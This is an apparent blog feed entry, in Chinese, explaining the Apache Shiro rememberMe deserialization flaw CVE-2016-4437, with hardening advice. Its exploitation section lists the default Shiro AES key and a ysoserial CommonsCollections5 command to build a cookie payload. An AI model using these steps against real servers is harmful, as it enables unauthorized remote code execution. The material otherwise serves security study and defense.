https://souljian.cn/tags/cve-2016-4437/Recent content in CVE-2016-4437 on SoulJian小站Hugo -- gohugo.ioen-usSun, 30 Aug 2026 10:00:00 +0800https://souljian.cn/p/751088178/Sat, 29 Aug 2026 14:00:00 +0800https://souljian.cn/p/751088178/<h2 id="写在前面合法学习边界">写在前面：合法学习边界 </h2><p>Shiro 攻击只在授权测试环境进行。</p> <h2 id="一shiro-反序列化链">一、Shiro 反序列化链 </h2><img src="https://souljian.cn/img/shiro-rememberme-chain.svg" alt="Shiro rememberMe 反序列化" /> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">① 发现 Shiro → ② 获取 AES 密钥 → ③ 构造 payload → ④ 加密 → ⑤ 发送 Cookie → ⑥ RCE </span></span></code></pre></td></tr></table> </div> </div><h2 id="二漏洞信息">二、漏洞信息 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">CVE-2016-4437 </span></span><span class="line"><span class="cl">影响：Apache Shiro 1.2.4 及之前 </span></span><span class="line"><span class="cl">入口：rememberMe Cookie </span></span><span class="line"><span class="cl">类型：Java 反序列化 → JNDI → RCE </span></span></code></pre></td></tr></table> </div> </div><h2 id="三利用步骤">三、利用步骤 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span><span class="lnt">8 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># 默认密钥</span> </span></span><span class="line"><span class="cl">kPH+bIxk5D2deZiIxcaaaA<span class="o">==</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># 构造 payload + AES 加密</span> </span></span><span class="line"><span class="cl">ysoserial CommonsCollections5 <span class="s1">&#39;whoami&#39;</span> </span></span><span class="line"><span class="cl"><span class="c1"># → AES/CBC/PKCS5Padding 加密</span> </span></span><span class="line"><span class="cl"><span class="c1"># → 设置到 rememberMe Cookie</span> </span></span><span class="line"><span class="cl"><span class="c1"># → 访问目标</span> </span></span></code></pre></td></tr></table> </div> </div><h2 id="四防御加固">四、防御加固 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">升级到 Shiro 1.2.5+ </span></span><span class="line"><span class="cl">更换 AES 密钥（不要使用默认） </span></span><span class="line"><span class="cl">禁用反序列化 </span></span><span class="line"><span class="cl">WAF 拦截超长 rememberMe Cookie </span></span></code></pre></td></tr></table> </div> </div><h2 id="五小结">五、小结 </h2><p>Shiro rememberMe 是 Java 反序列化最经典的 RCE 漏洞。<strong>更换默认密钥 + 升级版本</strong>是核心防御。</p>